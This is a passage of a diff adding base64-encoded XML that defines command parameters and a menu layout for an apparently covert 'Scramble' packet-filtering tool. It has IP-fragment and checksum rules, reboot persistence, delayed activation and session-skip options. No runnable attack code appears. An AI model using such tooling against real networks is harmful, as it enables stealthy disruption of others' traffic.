+L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFy
+YW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAg
+PGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9wYXJhbV9sPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPkZyYWcgT2Zmc2V0IE1pbmltdW08L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2Rl
+ZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDg8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgICA8aGVscHRleHQ+TWluaW11bSB2YWx1ZSBmb3IgZnJhZ21lbnRhdGlvbiBvZmZzZXQu
+PC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3Bh
+cmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iaGkiPg0KICAgICAgICAgICAg
+ICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX3BhcmFtX2g8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+RnJhZyBPZmZzZXQgTWF4aW11bTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwv
+ZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwODwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIHZhbHVlIGZvciBmcmFnbWVudGF0aW9uIG9mZnNl
+dC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwv
+cGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgPC9w
+YXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBpcC1m
+cmFnIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMjwvZWxlbWVudD4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzQ8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvZWxlbWVudD4NCiAg
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2Vj
+dGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFt
+YmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0
+aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BzPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJh
+bV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVt
+bj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90PC9lbGVtZW50Pg0K
+ICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxz
+ZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2Ny
+YW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3M8L2Vs
+ZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NtPC9lbGVtZW50Pg0KICAgICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFy
+YW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3A8L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1
+bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAg
+ICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZGlyPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAg
+ICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9sPC9lbGVtZW50Pg0KICAgICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVu
+dD5zY3JhbWJsZV9wYXJhbV9oPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4N
+CiAgICAgIDxjbWQgdGl0bGU9ImlwLWNoa3N1bSI+DQogICAgICAgIDxoZWxwdGV4dD5DcmVhdGVz
+IGEgbmV3IGlwLWNoa3N1bSBydWxlIGJhc2VkIG9uIHRoZSBzcGVjaWZpZWQgY3JpdGVyaWEuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwOTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwv
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9vcHRpb25hbF9w
+cmltaXRpdmVzPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5Tb3VyY2UgSVA8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U291cmNlIE1hc2s8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAg
+IDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydCBTcmMgUG9y
+dDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5kIFNyYyBQ
+b3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj40PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxj
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9uY3Vyc2VpZD4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gSVA8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj41PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gTWFzazwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjY8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl83PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlN0YXJ0IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj43PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5FbmQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjg8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+Xzk8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Qcm90b2NvbDwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+OTwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgICA8cGFyYW1l
+dGVycz4NCiAgICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgICAgPG9wdGlv
+bmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImVuIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9lbjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5FbmFibGU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0PkVuYWJsZXMgdGhlIHJ1bGUgb24gY3JlYXRpb248L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwcyI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fcHM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGVy
+c2lzdDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+RW5hYmxlIHRoZSBmaWx0ZXIgdG8gc3Vydml2ZSByZWJvb3RzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InIiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3I8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+QXV0byBSZXN0YXJ0
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MTA8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+
+QXV0b21hdGljYWxseSByZS1lbmFibGUgdGhlIGZpbHRlciB3aGVuIHRlcm1pbmF0aW9uIGlzIHJl
+YWNoZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0idGQiPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3RkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPlRpbWUgRGVsYXk8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjExPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRpbWUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBh
+Y2tldHMuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4gMzYwMCwgb3Igb25lIGNoYXJh
+Y3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRlcywgYW5kIHNlY29uZHMgaS5l
+LiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0Ij4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90PC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlRpbWUgRHVyYXRpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjEyPC9h
+cmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkR1cmF0aW9uIHBhY2tldHMgd2ls
+bCBiZSBhZmZlY3RlZCBieSBmaWx0ZXIuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGkuZS4g
+MzYwMCwgb3Igb25lIGNoYXJhY3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWludXRl
+cywgYW5kIHNlY29uZHMgaS5lLiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJzZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc2Q8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBEZWxheTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+MTM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9m
+IHNlc3Npb25zIHRvIGlnbm9yZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy48L2hlbHB0
+ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNl
